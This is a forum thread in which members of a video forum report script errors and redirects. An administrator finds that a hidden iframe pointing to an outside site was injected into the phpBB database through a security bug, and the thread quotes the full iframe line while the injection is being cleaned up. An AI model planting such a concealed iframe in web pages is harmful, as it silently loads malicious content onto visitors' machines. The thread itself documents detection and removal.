hotlog

[ChrissyBoy]

Pages on the forum are raising script errors. On investigation it is a script running on hotlog.ru that is causing the issue. Is this a known issue or is the hotlog site injecting itself somehow...

(more info/screenshots availiable)

[ChrissyBoy]

Some screenshots...

Note the url on the status bar:




Some interesting stuff in the code:

[Baldrick]

Yep, seems to be another phpbb security bug. Someone inserted

<iframe src="http://obdy.f1del.net/nur/sp/" width=0 height=0 style="display: none"></iframe>

into the database.

[ChrissyBoy]

Ok. Thanks for resolving so quickly!

[hech54]

I run NoScript on Firefox.

[Baldrick]

Ok. Thanks for resolving so quickly!

Thanks for reporting it so quickly!

I'm currently going through http://www.in-my-opinion.org/in-my-opinion-3734.html ....

[ChrissyBoy]

Has it happened again?

[ChrissyBoy]

Getting more sinister:

[redwudz]

I just got something similar a minute ago after a PM from a member mentioned a ActiveX control. He said it had a address:

begining http/ru-mp3.imf.........

When I looked to the post he mentioned and checked the VH pages it referenced, I got a Explorer lockup and DrWatson started to run. But I can't get that to repeat and I didn't see any info what was causing it all.

[ChrissyBoy]

Still there:

[redwudz]

That's the one. I get 88.196.209.242-dsl.lse.estpak ee in Tallinn, Russia.

[Baldrick]

Removed.

And I'm still going through http://www.in-my-opinion.org/in-my-opinion-3734.html

[ChrissyBoy]

Good man... then back to the nifty corners!!!!

[aedipuss]

is it one of those ms ie exploits only? haven't had anything show up with firefox....

[redwudz]

It crashed IE on my laptop, but no damage, it just reset. But I will run a full scan and check that my malware programs are up to date.

[vhelp]

@ Baldrick

I'm using: Opera v7.50

I think that the problem is still with us.

While making my last post a little while ago, here:

--> http://forum.videohelp.com/topic331556-330.html#1740650
--> Blockbuster chooses Blu-ray: is the war over?

I started to notice my screen flicker -- it does this whener flash/scripting
takes place. And I quickly glanced around the screen for weirdness..

Here's what my tool TAB button looked like as the page was updating:




And, then, when I stoped it, via firewall:




Notice the bottom status line is now reading:




I am also getting this message every time I want to post on this forum:




-- I hope you are still working on fixing this.

-vhelp 4381

[vhelp]

Ok. Here's something else I noticed, while logging off:



And, now, everytime I select a link on the forum board, I seem to be
re-directed to a that link (pic, above) and then the page loads.

And, when the page is finished loading, the URL bar now has:

--> http://forum.videohelp.com/?sid=a0c7...6ca756a72bdce9

..that was listed for the forum index page.

-vhelp 4382

[Baldrick]

I'm going to log all mysql queries to see where the breach is.

Please let me know if you notice the russian link again.